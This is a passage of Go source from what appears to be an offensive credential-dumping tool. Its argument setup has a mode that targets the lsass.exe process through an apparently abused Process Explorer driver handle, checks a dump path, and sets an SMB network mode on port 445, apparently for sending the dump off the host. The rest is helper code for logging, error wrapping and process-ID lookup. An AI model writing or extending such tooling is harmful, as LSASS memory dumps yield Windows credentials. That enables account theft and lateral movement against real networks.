if _, err := filepath.Abs(*DRIVERPATH); err != nil {
return CreateError(errors.New("invalid dump path " + err.Error()))
}
}
return nil
}
func FillArguments() {
if *MODE == MODE_DOTHATLSASSTHING {
*HANDLEMODE = HANDLEMODE_PROCEXP
*TARGETPROCNAME = "lsass.exe"
*TARGETPID = 0
}
if *NETWORKMODE == NETWORKMODE_SMB {
*REMOTEPORT = 445
}
if !filepath.IsAbs(*DRIVERPATH) {
*DRIVERPATH, _ = filepath.Abs(*DRIVERPATH)
}
}
func LogStatus(message string, err error, success bool) {
if *QUIET {
return
}
if success {
fmt.Println(fmt.Sprintf("[+] %s", message))
return
}
if err != nil {
fmt.Println(fmt.Sprintf("[-] %s. Error: %s", message, err.Error()))
return
}
fmt.Println(fmt.Sprintf("[-] %s", message))
}
func CreateError(err error) error {
if err == nil {
return err
}
var callerName = "UnknownFunction"
if info, _, _, ok := runtime.Caller(1); ok {
details := runtime.FuncForPC(info)
if details != nil {
callerName = details.Name()
}
}
callerNameSplit := strings.Split(callerName, ".")
newErrorText := fmt.Sprintf("%s error: %s", callerNameSplit[len(callerNameSplit)-1], err.Error())
return errors.New(newErrorText)
}
func GetProcessId(pid int, name string) int {
if pid != 0 {
return pid
}
processes, err := process.Processes()
if err != nil {
return 0
}
for _, each := range processes {
if procName, err := each.Name(); err == nil && procName == name {
return int(each.Pid)
}
}
return 0
}